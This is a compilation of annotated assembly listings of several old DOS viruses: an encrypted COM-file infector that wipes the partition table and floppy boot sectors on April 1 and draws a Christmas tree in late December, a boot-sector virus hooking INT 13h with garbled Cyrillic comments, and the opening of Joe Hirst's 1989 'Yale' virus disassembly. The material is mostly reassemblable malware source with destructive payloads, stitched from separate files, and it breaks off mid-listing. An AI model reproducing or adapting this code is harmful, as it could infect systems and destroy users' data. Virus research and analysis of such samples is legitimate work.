0205 4E dec si
0206 FD std
0207 F3A4 rep movsb ; copy
0209 8BD7 mov dx,di
020B 42 inc dx
020C EB97 jmp 01A5 ; find first
; end of infection proces, check condition for destruction/show
020E 58 pop ax ; balance stack
020F 58 pop ax
0210 8CC8 mov ax,cs ; restore ES
0212 8EC0 mov es,ax
; get date
0214 B42A mov ah,2A ; get date
0216 CD21 int 21
0218 81FA0104 cmp dx,0401 ; April 1?
021C 7533 jne 0251 ; no
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
; DESTRUCTION OF HARD DISK AND FLOPPIES IN A: AND B:
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>
; copy partition table to sector 11h of side 0, track 0
021E BA8000 mov dx,0080 ; first hard drive
0221 B90100 mov cx,0001 ; track 0 sector 1 (partition table)
0224 BB0307 mov bx,0703 ; destroy victim code
0227 B80102 mov ax,0201 ; read 1 sector
022A 52 push dx
022B 51 push cx
022C 53 push bx
022D CD13 int 13 ; disk I/O
022F 5B pop bx
0230 59 pop cx
0231 5A pop dx
0232 B111 mov cl,11 ; new place for partition table
0234 B80103 mov ax,0301 ; write partition table
0237 CD13 int 13
; set and of sector marker in the buffer
0239 C706350855AA mov word ptr [0835],AA55 ; end of sector marker
; overwrite partition table
023F B280 mov dl,80
0241 E87404 call 06B8 ; write one sector to disk
; overwrite boot sector of drive A:
0244 32D2 xor dl,dl
0246 E86F04 call 06B8 ; write one sector do disk
; overwrite boot sector of drive B:
0249 B201 mov dl,01
024B E86A04 call 06B8 ; write disk
024E EB0A jmp 025A
0250 90 nop
; compare date
0251 81FA180C cmp dx,0C18 ; december 24?
0255 7203 jb 025A ; date earlier
;<><><><<><><><><><><><><><><><><><><><>
;
; CHRISTMAS SHOW
;
; see the description of subroutine 05D7
;<><><><><><><><><><><><><><><><><><><><><>
0257 E87D03 call 05D7 ; drow christmas tree
; make sound
025A E440 in al,40
025C 3CF8 cmp al,F8
025E 7206 jb 0266
0260 E461 in al,61
0262 0C03 or al,03
0264 E661 out 61,al
; restore the state of scroll lock flag
0266 33C0 xor ax,ax
0268 8ED8 mov ds,ax
026A 58 pop ax
026B 08061704 or [0417],al
; restore INT 24h
026F 2E8E1E1400 mov ds,cs:[0014] ; segment of INT 24h in PSP
0274 2E8B161200 mov dx,cs:[0012] ; offset of INT 24h in PSP
0279 B82425 mov ax,2524 ; set interrupt vector
027C CD21 int 21
; restore DTA
027E 5A pop dx
027F 1F pop ds
0280 B41A mov ah,1A ; set DTA
0282 CD21 int 21
; restore DS
0284 8CC8 mov ax,cs
0286 8ED8 mov ds,ax
0288 BEF006 mov si,06F0
028B 8B3EF706 mov di,[06F7]
028F 033EFB06 add di,[06FB]
0293 57 push di
0294 B90700 mov cx,0007
0297 FC cld
0298 F3A4 rep movsb
029A 33C0 xor ax,ax
029C 8BD8 mov bx,ax
029E 8BD0 mov dx,ax
02A0 8BE8 mov bp,ax
02A2 8B36F706 mov si,[06F7]
02A6 BF0001 mov di,0100
02A9 8B0EFB06 mov cx,[06FB]
02AD C3 ret
02AE BE5405 mov si,0554 ; file name in FCB
02B1 8B3EC105 mov di,[05C1] ; address of destination
02B5 B90D00 mov cx,000D ; length of asciiz string
02B8 FC cld
02B9 F3A4 rep movsb ; copy
02BB BF2005 mov di,0520 ; buffer for file name
02BE E8FA01 call 04BB ; copy
02C1 7503 jne 02C6
02C3 E9EAFE jmp 01B0 ; find next/destruct/show
02C6 BF2B05 mov di,052B
02C9 E8EF01 call 04BB ; copy file name
02CC 7503 jne 02D1
02CE E9DFFE jmp 01B0 ; find next/destruct/show
02D1 C606610500 mov byte ptr [0561],00
02D6 90 nop
02D7 F6064B0507 test byte ptr [054B],07 ; attribute byte in DTA
02DC 740F je 02ED ; hiden, system or read only, open file
02DE BA6205 mov dx,0562 ; file name
02E1 33C9 xor cx,cx ; clear all attributes
02E3 B80143 mov ax,4301 ; set file attributes
02E6 CD21 int 21
02E8 7303 jnb 02ED ; open file
02EA E9C3FE jmp 01B0 ; find next/destruct/show
02ED BA6205 mov dx,0562
02F0 B8023D mov ax,3D02 ; open file for read/write
02F3 CD21 int 21
02F5 8BD8 mov bx,ax ; handle
02F7 7303 jnb 02FC
02F9 E9B4FE jmp 01B0 ; find next
; check file size
02FC A15205 mov ax,[0552] ; high word of file size in DTA
02FF 0BC0 or ax,ax
0301 7403 je 0306 ; file below 64K
0303 E99001 jmp 0496 ; close file and find next
0306 A15005 mov ax,[0550] ; lower word of file size
0309 3D0700 cmp ax,0007 ; minimum file size
030C 72F5 jb 0303 ; close file and find next
030E 3D00F8 cmp ax,F800 ; maximum file size
0311 73F0 jnb 0303 ; close file and find next
; mayby already infected?
0313 8B16F706 mov dx,[06F7] ; form address of bufer
0317 0316FB06 add dx,[06FB]
031B B90700 mov cx,0007 ; number of bytes
031E 52 push dx
031F 51 push cx
0320 B43F mov ah,3F ; read file
0322 CD21 int 21
0324 59 pop cx
0325 5E pop si
0326 7208 jb 0330 ; read error, close and find next
; compare first 7 bytes with own code
0328 BF0001 mov di,0100 ; destination
032B FC cld
032C F3A6 rep cmpsb
032E 7503 jne 0333
0330 E96301 jmp 0496 ; close file and find next, (infected!)
; get and store file date and time
0333 B80057 mov ax,5700 ; get file time stamp
0336 CD21 int 21
0338 72F6 jb 0330 ; close file, find next
033A 89160107 mov [0701],dx ; store date
033E 890EFF06 mov [06FF],cx ; store time
0342 C606610501 mov byte ptr [0561],01
0347 90 nop
; check file size, if less than 603h bytes then append some garbage
0348 A15005 mov ax,[0550] ; file size
034B 3D0306 cmp ax,0603
034E 7321 jnb 0371
; file length is less than 603h, add some garbage
0350 33D2 xor dx,dx
0352 33C9 xor cx,cx
0354 B80242 mov ax,4202 ; move file ptr to EOF
0357 CD21 int 21
0359 7303 jnb 035E ; no errors, continue
035B E93801 jmp 0496 ; close file and find next
035E B90306 mov cx,0603 ; number of bytes
0361 2B0E5005 sub cx,[0550] ; file size
0365 B440 mov ah,40 ; write file
0367 CD21 int 21
0369 B80306 mov ax,0603 ; new file size
036C 7303 jnb 0371
036E E92501 jmp 0496 ; close file and find next
; now file is at least 603h bytes long
0371 FEC4 inc ah
0373 A3F906 mov [06F9],ax ; oryginal file size + 256
0376 A15005 mov ax,[0550] ; file size
0379 BE0306 mov si,0603 ; virus length
037C 33FF xor di,di
037E 3BC6 cmp ax,si
0380 7302 jnb 0384
0382 8BF0 mov si,ax
0384 8936FD06 mov [06FD],si
0388 8BD7 mov dx,di
038A 33C9 xor cx,cx
038C B80042 mov ax,4200 ; move file ptr to BOF
038F CD21 int 21
0391 7303 jnb 0396
0393 E90001 jmp 0496 ; close file and find next
0396 8B16F706 mov dx,[06F7]
039A 0316FB06 add dx,[06FB]
039E B90002 mov cx,0200
03A1 3BF1 cmp si,cx
03A3 7302 jnb 03A7
03A5 8BCE mov cx,si ; number of bytes
03A7 52 push dx
03A8 51 push cx
03A9 B43F mov ah,3F ; read file
03AB CD21 int 21
03AD 59 pop cx
03AE 5A pop dx
03AF 7303 jnb 03B4 ; continue
03B1 E9E200 jmp 0496 ; close file and find next
03B4 52 push dx
03B5 51 push cx
03B6 33D2 xor dx,dx
03B8 33C9 xor cx,cx
03BA B80242 mov ax,4202 ; move file ptr to EOF
03BD CD21 int 21
03BF 59 pop cx
03C0 5A pop dx
03C1 7303 jnb 03C6 ; continue
03C3 E9D000 jmp 0496 ; close file and find next
03C6 B440 mov ah,40 ; write file
03C8 CD21 int 21
03CA 7303 jnb 03CF
03CC E9C700 jmp 0496 ; close file and find next
03CF 81C70002 add di,0200
03D3 81EE0002 sub si,0200
03D7 7602 jbe 03DB
03D9 EBAD jmp 0388
03DB FF060701 inc word ptr [0107] ; infection counter
03DF 33D2 xor dx,dx
03E1 33C9 xor cx,cx
03E3 B80042 mov ax,4200 ; move file ptr to BOF
03E6 CD21 int 21
03E8 7303 jnb 03ED
03EA E9A900 jmp 0496 ; close file and find next
03ED 53 push bx ; store handle
03EE E440 in al,40
03F0 A807 test al,07
03F2 74FA je 03EE
03F4 A21F01 mov [011F],al ; change decryption key
; get random number from system timer count
03F7 33C0 xor ax,ax
03F9 8AF8 mov bh,al
03FB 8ED8 mov ds,ax
03FD A06C04 mov al,[046C] ; timer, low byte
0400 8CCA mov dx,cs ; restore DS
0402 8EDA mov ds,dx
; generate rundom number in BX in the range 0..8
0404 B103 mov cl,03
0406 F6F1 div cl ; AL <- AL/3, AH <- remainder
0408 8AEC mov ch,ah ; store remainder (0, 1 or 2)
040A 32E4 xor ah,ah ; prepare division
040C F6F1 div cl ; AL <- AL / 9, AH <- remainder
040E 8AC4 mov al,ah ; AL <- second remainder
0410 02C0 add al,al ; *2, AL in [0..4]
0412 02C4 add al,ah ; *3, AL in [0..6]
0414 02C5 add al,ch ; first remainder
0416 8AD8 mov bl,al ; BL in [0..8]
; multiply BX by 4 (table entry size)
0418 03DB add bx,bx
041A 03DB add bx,bx
041C 81C3C906 add bx,06C9 ; offset of table
; modify encryption routine (automodyfication)
0420 8A07 mov al,[bx]
0422 A22401 mov [0124],al ; 3 versions 5E/76/7E
0425 8B4701 mov ax,[bx+01]
0428 A32C01 mov [012C],ax ; 9 wersions
042B 8A4703 mov al,[bx+03] ; 3 versions
042E A23001 mov [0130],al
0431 8AC5 mov al,ch
; prepare decrypt routine
0433 BBED06 mov bx,06ED
0436 D7 xlat
0437 A26104 mov [0461],al ; modify decryption routine
; write new encryption routine to file
043A 5B pop bx ; restore handle
043B BA0001 mov dx,0100 ; begin of file
043E B93500 mov cx,0035 ; block size
0441 B440 mov ah,40 ; write file
0443 CD21 int 21
0445 724F jb 0496 ; close file and find next
; decryption routine
0447 BE3501 mov si,0135 ; start of decrypted block
044A B9CE05 mov cx,05CE ; size of decrypted block
044D 53 push bx ; store handle
044E 51 push cx
044F B80002 mov ax,0200
0452 8B1EF706 mov bx,[06F7]
0456 031EFB06 add bx,[06FB]
045A 53 push bx
045B 8A0E1F01 mov cl,[011F] ; decription key
045F 8A2C mov ch,[si]
0461 D2CD ror ch,cl ; <-- changed (3 variants)
; ^^ changed byte, possible wariants:
; 28CD sub ch,cl versions: 0, 3, 6
; 30CD xor ch,cl versions: 1, 4, 7
; D2CD ror ch,cl versions: 2, 5, 8
0463 882F mov [bx],ch
0465 43 inc bx
0466 46 inc si
0467 48 dec ax
0468 75F5 jne 045F
046A 5A pop dx
046B 59 pop cx
046C 5B pop bx
046D 51 push cx
046E 81F90102 cmp cx,0201
0472 7203 jb 0477
0474 B90002 mov cx,0200
0477 B440 mov ah,40 ; write file
0479 CD21 int 21
047B 59 pop cx
047C 7218 jb 0496 ; close file and find next
047E 81E90002 sub cx,0200
0482 77C9 ja 044D
; restore file time stamp
0484 8B160107 mov dx,[0701] ; file date
0488 8B0EFF06 mov cx,[06FF] ; file time
048C B80157 mov ax,5701 ; set file time stamp
048F CD21 int 21
0491 7203 jb 0496 ; close file and find next
; decrease counter on the stack
0493 59 pop cx
0494 49 dec cx
0495 51 push cx
0496 B43E mov ah,3E ; close file
0498 CD21 int 21
049A 8A0E4B05 mov cl,[054B] ; attributes
049E FE0E6105 dec byte ptr [0561]
04A2 7405 je 04A9
04A4 F6C107 test cl,07 ; hidden, system, read only
04A7 740F je 04B8
04A9 80F920 cmp cl,20 ; archive
04AC 740A je 04B8
04AE BA6205 mov dx,0562 ; file name
04B1 32ED xor ch,ch
04B3 B80143 mov ax,4301 ; set file attributes
04B6 CD21 int 21
04B8 E9F5FC jmp 01B0 ; find next
;----------------------------------------
; move 11 bytes do DS:DI ('C:\COMMAND.')
04BB BE6205 mov si,0562
04BE B90B00 mov cx,000B
04C1 FC cld
04C2 F3A6 rep cmpsb
04C4 C3 ret
; buffer for path
04C5 30 31 32 33 34 35 36 37 01234567
04CD 38 39 30 31 32 33 34 35 89012345
04D5 36 37 38 39 30 31 32 33 67890123
04DD 34 35 36 37 38 39 30 31 45678901
04E5 32 33 34 35 36 37 38 39 23456789
04ED 30 31 32 33 34 35 36 37 01234567
04F5 38 39 30 31 32 33 34 35 89012345
04FD 36 37 38 43 3A 5C 4A 45 678C:\JE
0505 5A 59 4B 49 43 3A 5C 50 ZYKIC:\P
050D 43 44 3A 5C 55 43 3A 5C CD:\UC:\
; paterns for search
0515 2A 2E 43 4F 4D 00 50 41 *.COM PA
051D 54 48 3D TH=
; buffers for file names
0520 49 42 4D 42 49 IBMBI
0525 4F 2E 43 4F 4D 00 O.COM
052B 49 42 IB
052D 4D 44 4F 53 2E 43 4F 4D MDOS.COM
0535 00
; local DTA
0536 03 3F 3F 3F 3F 3F 3F ;\
053D 3F 3F 43 4F 4D FF 02 00 ; | reserved
0545 00 00 00 00 00 00 ;/
054B 20 ; file attribute
054C 00 60 71 0E ; file time stamp
0550 DB 62 00 00 ; file size
0554 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 00 00 ; file name (COMMAND.COM, 0, 0)
0561 01 ; flag: attributes are changed
0562 43 3A 5C C:\
0565 43 4F 4D 4D 41 4E 44 2E COMMAND.
056D 43 4F 4D 00 00 4D 00 00 COM M
0575 00 2E 43 4F 4D 00 4F 68 .COM Oh
057D 4E 6F 21 4F 68 4E 6F 21 No!OhNo!
0585 4F 68 4E 6F 21 4F 68 4E OhNo!OhN
058D 6F 21 4F 68 4E 6F 21 4F o!OhNo!O
0595 68 4E 6F 21 4F 68 4E 6F hNo!OhNo
059D 21 4F 68 4E 6F 21 4F 68 !OhNo!Oh
05A5 4E 6F 21 4F 68 4E 6F 21 No!OhNo!
05AD 4F 68 4E 6F 21 4F 68 4E OhNo!OhN
05B5 6F 21 4F 68 4E 6F 21 4F o!OhNo!O
05BD 68 4E 6F 21 hNo!
05C1 65 05 ;
;---------------------------------------
; write character (or space) cx times
05C3 B020 mov al,20
05C5 50 push ax
05C6 E89E00 call 0667 ; write character
05C9 58 pop ax
05CA E2F9 loop 05C5
05CC C3 ret
;-------------
; next line
05CD B00D mov al,0D
05CF E89500 call 0667 ; write character
05D2 B00A mov al,0A
05D4 E99000 jmp 0667 ; write character
;------------------------------
; drow christmast tree
;
; result will look like this:
;
;
; ­
; ***
; *****
; *******
; *********
; ***********
; *************
; ***************
; *****************
; *******************
; *********************
; ***********************
; *************************
; ***************************
; *****************************
; ÛÛÛ
; ÛÛÛ
; ÛÛÛ
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; Und er lebt doch noch : Der Tannenbaum !
; Frohe Weihnachten ...
;
05D7 B92700 mov cx,0027
05DA E8E6FF call 05C3 ; clear 39 characters
05DD B0AD mov al,AD ; '­'
05DF E88500 call 0667 ; write character
05E2 E8E8FF call 05CD ; new line
05E5 BB0300 mov bx,0003
05E8 BA2600 mov dx,0026
05EB 8BCA mov cx,dx
05ED E8D3FF call 05C3 ; write CX spaces
05F0 8BCB mov cx,bx
05F2 B02A mov al,2A ; '*'
05F4 E8CEFF call 05C5 ; write CX characters
05F7 E8D3FF call 05CD ; new line
05FA 4A dec dx
05FB 83C302 add bx,0002
05FE 83FB1F cmp bx,001F
0601 75E8 jne 05EB
0603 BB0300 mov bx,0003
0606 B92600 mov cx,0026
0609 E8B7FF call 05C3 ; write CX spaces
060C B90300 mov cx,0003
060F B0DB mov al,DB ; 'Û'
0611 E8B1FF call 05C5 ; write CX characters
0614 E8B6FF call 05CD ; next line
0617 4B dec bx
0618 75EC jne 0606
061A B95000 mov cx,0050 ; full line
061D B0CD mov al,CD ; 'Í'
061F E8A3FF call 05C5 ; write character CX times
0622 B91300 mov cx,0013
0625 E89BFF call 05C3 ; write CX spaces
0628 BB7406 mov bx,0674 ; string: Und er lebt doch ...
062B E82C00 call 065A ; write string
062E B91D00 mov cx,001D
0631 E88FFF call 05C3 ; clear part of line
0634 EB24 jmp 065A ; write asciiz string pointed by BX
0636 90 nop
0637 E80000 call 063A
063A 5B pop bx
063B 83C30D add bx,000D
063E 8CC8 mov ax,cs
0640 8ED8 mov ds,ax
0642 E81500 call 065A ; write string
0645 EBFE jmp 0645 ; hang CPU
0647 41 70 72 69 6C 2C 20 41 April, A
064F 70 72 69 6C 20 2E 2E 2E pril ...
0657 20 07 00
;-----------------------------------
; write asciiz string pointed by BX
065A 8A07 mov al,[bx] ; get character
065C 43 inc bx ; next character
065D 0AC0 or al,al ; and of string?
065F 7405 je 0666 ; yes, RET
0661 E80300 call 0667 ; write character
0664 EBF4 jmp 065A ; get next character
0666 C3 ret
;--------------------
; write character TTL
0667 52 push dx
0668 51 push cx
0669 53 push bx
066A 32FF xor bh,bh
066C B40E mov ah,0E
066E CD10 int 10
0670 5B pop bx
0671 59 pop cx
0671 59 pop cx
0672 5A pop dx
0673 C3 ret
0674 55 6E 64 20 65 72 20 6C Und er l
067C 65 62 74 20 64 6F 63 68 ebt doch
0684 20 6E 6F 63 68 20 3A 20 noch :
068C 44 65 72 20 54 61 6E 6E Der Tann
0694 65 6E 62 61 75 6D 20 21 enbaum !
069C 0D 0A 00 46 72 6F 68 65 Frohe
06A4 20 57 65 69 68 6E 61 63 Weihnac
06AC 68 74 65 6E 20 2E 2E 2E hten ...
06B4 0D 0A 07 00
;------------------------------------------
; write one sector to disk specified in DL
; track 9, side 0 sector 1
06B8 32F6 xor dh,dh
06BA B90100 mov cx,0001
06BD BB3706 mov bx,0637
06C0 B80103 mov ax,0301
06C3 CD13 int 13
06C5 C3 ret
;==================
; INT 24h handler
06C6 B000 mov al,00
06C8 CF iret
; table of bytes for changing encrypt routine
06C9 5E 00 0F 43
06CD 5E 30 0F 43
06D1 5E D2 07 43
06D5 76 00 0C 46
06D9 76 30 0C 46
06DD 76 D2 04 46
06E1 7E 00 0D 47
06E5 7E 30 0D 47
06E9 7E D2 05 47
; table for variants of decrypt routine
06ED 28 30 D2
; part of victime code
06F0 F3A4 rep movsb
06F2 8BF1 mov si,cx
06F4 8BF9 mov di,cx
06F6 C3 ret
06F7 0307 ; offset of buffer/modified code
06F9 DB63 ; file size + 256
06FB C603 ;
06FD 0306 ;
06FF 0060 ; file date
0701 710E ; file time

View File

@ -1,241 +0,0 @@
jmp far ptr loc_2 ;*(07C0:0005)
jmp loc_8 ; (00A1)
data_27 db 0
data_28 dd 0F000EC59h
data_29 dd 9F8000E4h
data_30 dd 07C00h
;-----------------------------------------------------------------------------
; ‚µ®¤­  ²®·ª  ­  INT 13h
;-----------------------------------------------------------------------------
push ds
push ax
cmp ah,2 ; €ª® ´³­ª¶¨¿²  ¥ ¯®-¬ «ª  ®²
jb loc_3 ; 2 ¨«¨ ¯®-£®«¿¬  ¨«¨ ° ¢­ 
cmp ah,4 ; ­  4 ¨§¯º«­¿¢  ­ ¯°° ¢® INT 13h
jae loc_3
or dl,dl ; “±²°®¨±²¢®²® ¥ A ?
jnz loc_3
xor ax,ax ; Zero register
mov ds,ax
mov al,byte ptr ds:[43Fh] ; <20>°®¢¥°¿¢  ¤ «¨ ¬®²®°  ­ 
test al,1 ; A ¥ ¢ª«¾·¥­
jnz loc_3 ; Jump if not zero
call sub_1 ; Ž¯¨² ¤  § ° §¿¢ 
loc_3:
pop ax
pop ds
jmp cs:data_28 ; (6B8E:0009=0EC59h)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
push bx
push cx
push dx ; ‡ ¯ §¢  °¥£¨±²°¨²¥
push es
push si
push di
mov si,4
loc_4:
mov ax,201h
push cs
pop es
mov bx,200h
xor cx,cx ; Zero register
mov dx,cx
inc cx
pushf
call cs:data_28 ; —¥²¥ BOOT ±¥ª²®° 
jnc loc_5 ; Jump if carry=0
xor ax,ax ; <20>°¨ £°¥¸ª  °¥ª «¨¡°¨° 
pushf ; ³±²°®¨±²¢®²®
call cs:data_28 ; (6B8E:0009=0EC59h)
dec si
jnz loc_4 ; <20>° ¢¨ 4 ®¯¨² 
jmp short loc_7 ; ˆ§µ®¤
nop
loc_5:
xor si,si ; Zero register
mov di,200h
cld ; Clear direction
push cs
pop ds
lodsw ; <20>°®¢¥°¿¢  ¤ «¨ ¥ § ° §¥­
cmp ax,[di] ; ¯°®·¥²¥­¨¿ ¤¨±ª
jne loc_6
lodsw
cmp ax,[di+2]
je loc_7 ; €ª® ¥ ¨§«¨§ 
loc_6:
mov ax,301h
mov bx,200h ; <20>°¥¬¥±²¢  BOOT
mov cl,3
mov dh,1
pushf
call cs:data_28
jc loc_7 ; Jump if carry Set
mov ax,301h
xor bx,bx ; ‡ ¯¨±¢  ¢¨°³± 
mov cl,1
xor dx,dx
pushf
call cs:data_28
loc_7:
pop di
pop si
pop es ; ‚º§±² ­®¢¿¢  °¥£¨±²°¨²¥
pop dx
pop cx
pop bx
retn
sub_1 endp
loc_8:
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ss,ax
mov sp,7C00h
sti ;
mov ax,word ptr ds:[4Ch] ; <20>®±² ¢¿ ¢ AX ¢¥ª²®°  ­  INT 13H
mov word ptr ds:[7C09h],ax ; ‡ ¯ §¢  £® ­  ®²¬¥±²¢ ­¥ 9h
mov ax,word ptr ds:[4Eh] ; ‚§¥¬  ±¥£¬¥­²  ­  INT 13H
mov word ptr ds:[7C0Bh],ax ; ‡ ¯ §¢  £® ­  ®²¬¥±²¢ ­¥ Bh
mov ax,word ptr ds:[413h] ; <20> ¬ «¿¢  ­ «¨·­ ²  ¯ ¬¥² ± 1K
dec ax
dec ax
mov word ptr ds:[413h],ax
mov cl,6
shl ax,cl
mov es,ax ; ‡ °¥¦¤  ¢ ES ­ ©-¢¨±®ª¨¿  ¤°¥±
mov word ptr ds:[7C0Fh],ax ; ­  ª®©²® ±¥ ¯°¥¬¥±²¢ 
mov ax,15h
mov word ptr ds:[4Ch],ax ; INT 13H ‘Ž—ˆ ŽŒ…<E2809A>… 15H Ž’
mov word ptr ds:[4Eh],es ; <20>Ž—€ŽŽ Œ“
mov cx,1B8h
push cs ;CS = 7C0h = DS
pop ds
xor si,si
mov di,si
cld
rep movsb ; <20>°¥±²¢  1B8h ¡ ©² 
jmp cs:data_29 ; <20>°¥µ®¤ ­  ±«¥¤¢ ¹ ²  ¨­±²°³ª¶¨¿
mov ax,0
int 13h ; <20>¥ª «¨¡°¨°  ¤¨±ª 
xor ax,ax ; Zero register
mov es,ax ; ES = AX = 00h
mov ax,201h ; “±² ­®¢¿¢  ¯ ° ¬¥²°¨ § 
mov bx,7C00h ; § °¥¦¤ ­¥ ­  BOOT
cmp cs:data_27,0 ; <20>°®¢¥°¿¢  ´« £ §  ³±²°®¨±²¢®
je loc_9 ; <20>°¥µ®¤ ¯°¨ Flopy disk
mov cx,7
mov dx,80h
int 13h ; ‡ °¥¦¤  BOOT
jmp short loc_12 ; (014E)
nop
loc_9:
mov cx,3
mov dx,100h
int 13h ; ‡ °¥¦¤  BOOT
jc loc_12 ; Jump if carry Set
test byte ptr es:[46Ch],7 ; <20>°®¢¥°¿¢  ¤ «¨ ¤  ¤ ¤¥
jnz loc_11 ; ±º®¡¹¥­¨¥
mov si,189h ;
push cs
pop ds
loc_10:
lodsb ; ’º°±¨ ª° ¿² ­  ±²°¨­£ 
or al,al
jz loc_11 ; €ª® ­¥ ¥ ª° ¿ ¨§¢¥¦¤  ±¨¬¢®«
mov ah,0Eh
mov bh,0
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
jmp short loc_10 ; (011D)
loc_11:
push cs
pop es
mov ax,201h ; Ž¯¨²¢  ±¥ ¤  ·¥²¥ ®² ²¢º°¤ ¤¨±ª
mov bx,200h ; ª ²® ¯®¬¥±²¢  ¯°®·¥²¥­®²® ®²
mov cl,1 ; ®²¬¥±²¢ ­¥ 200h
mov dx,80h
int 13h ; Disk dl=drive #: ah=func a2h
; read sectors to memory es:bx
jc loc_12 ; €ª® £°¥¸ª  ? -> ˆ§µ®¤
push cs
pop ds
mov si,200h
mov di,0
lodsw ; <20>°®¢¥°¿¢  ¤ «¨ ±º¢¯ ¤  ± ­ · «®²®
cmp ax,[di] ; ­  ¢¨°³± 
jne loc_13 ; €ª® ­¥ ¯°¥µ®¤ §  § ° §¿¢ ­¥
lodsw
cmp ax,[di+2]
jne loc_13
loc_12:
mov cs:data_27,0 ; (6B8E:0008=0)
jmp cs:data_30 ; ˆ§¯º«­¿¢  BOOT
loc_13:
mov cs:data_27,2 ; <20>®±² ¢¿ ³ª § ²¥« ²¢º°¤ ¤¨±ª
mov ax,301h
mov bx,200h ; <20>°¥¬¥±²¢  BOOT ¢ ±¥ª²®° 7
mov cx,7 ; ±²° ­  0
mov dx,80h
int 13h
jc loc_12 ; <20>°¨ £°¥¸ª  ¨§¯º«­¿¢  BOOT
push cs
pop ds
push cs
pop es
mov si,3BEh ; Œ¥±²¨ partition table
mov di,1BEh
mov cx,242h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ax,301h
xor bx,bx ; ‡ ¯¨±¢  ± ¬¨¿² ¢¨°³±
inc cl
int 13h ; Disk dl=drive #: ah=func a3h
; write sectors from mem es:bx
jmp short loc_12 ; Ž²¨¢  ¤  ¨§¯¨«­¿¢  BOOT
;------------------------------------------------------------------------------------------
; Ž² ²³ª ­ ² ²ª ±  ²¥ª±²®¢¥
;------------------------------------------------------------------------------------------
pop es
pop cx
db 6Fh
jnz $+74h ; Jump if not zero
and [bx+si+43h],dl
and [bx+di+73h],ch
and [bp+6Fh],ch
ja $+22h ; Jump if above
push bx
jz $+71h ; Jump if zero
db 6Eh
db 65h
db 64h
and [bx],ax
or ax,0A0Ah
add [si+45h],cl
inc di
inc cx
dec sp
dec cx
push bx
inc bp
xor al,[bx+di]
add al,32h ; '2'
add word ptr ds:[0B00h][bx+si],ax ; (6B7E:0B00=0)
add ax,132h
db 72 dup (0)


View File

@ -1,365 +0,0 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
page 65,132
title The 'Yale' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'Yale' Virus º
; º Disassembled by Joe Hirst, April 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The virus consists of a boot sector only on a floppy disk.
; The original boot sector is kept at track thirty-nine, head zero,
; sector eight.
; The disassembly has been tested by re-assembly using MASM 5.0
; Note that this does not create an identical program, as the original
; appears to have been assembled with A86
; MASM would not assemble the instruction at offset 003CH (7C3CH)
; This instruction is undefined on an 8088/8086, and illegal
; on a 80286/80386.
; The program requires an origin address of 7C00H for the first sector
; to load and run as a boot sector
; System variables are defined in either RAM or BOOT (or both)
; depending on the segment used by the program
RAM SEGMENT AT 400H
; System RAM fields
ORG 13H
BW0413 DW ? ; Total RAM size
ORG 17H
BB0417 DB ? ; Key toggles
ORG 72H
BW0472 DW ? ; System reset word
RAM ENDS
BOOT SEGMENT AT 0
; Interrupt addresses
ORG 24H
BW0024 DW ? ; Interrupt 9 offset
BW0026 DW ? ; Interrupt 9 segment
ORG 64H
BW0064 DW ? ; Interrupt 19H offset
BW0066 DW ? ; Interrupt 19H segment
; System RAM fields
ORG 410H
DW0410 DW ? ; System configuration
ORG 413H
DW0413 DW ? ; Total RAM size
; BIOS field
ORG 0E502H
DWE502 DW ?
BOOT ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING
START: CLI
XOR AX,AX ; \ Set SS to zero
MOV SS,AX ; /
MOV SP,7C00H ; Set stack before boot area
STI
ASSUME DS:RAM
MOV BX,0040H ; \ Address RAM area
MOV DS,BX ; /
MOV AX,BW0413 ; Get size of RAM
MUL BX ; Convert to paragraphs
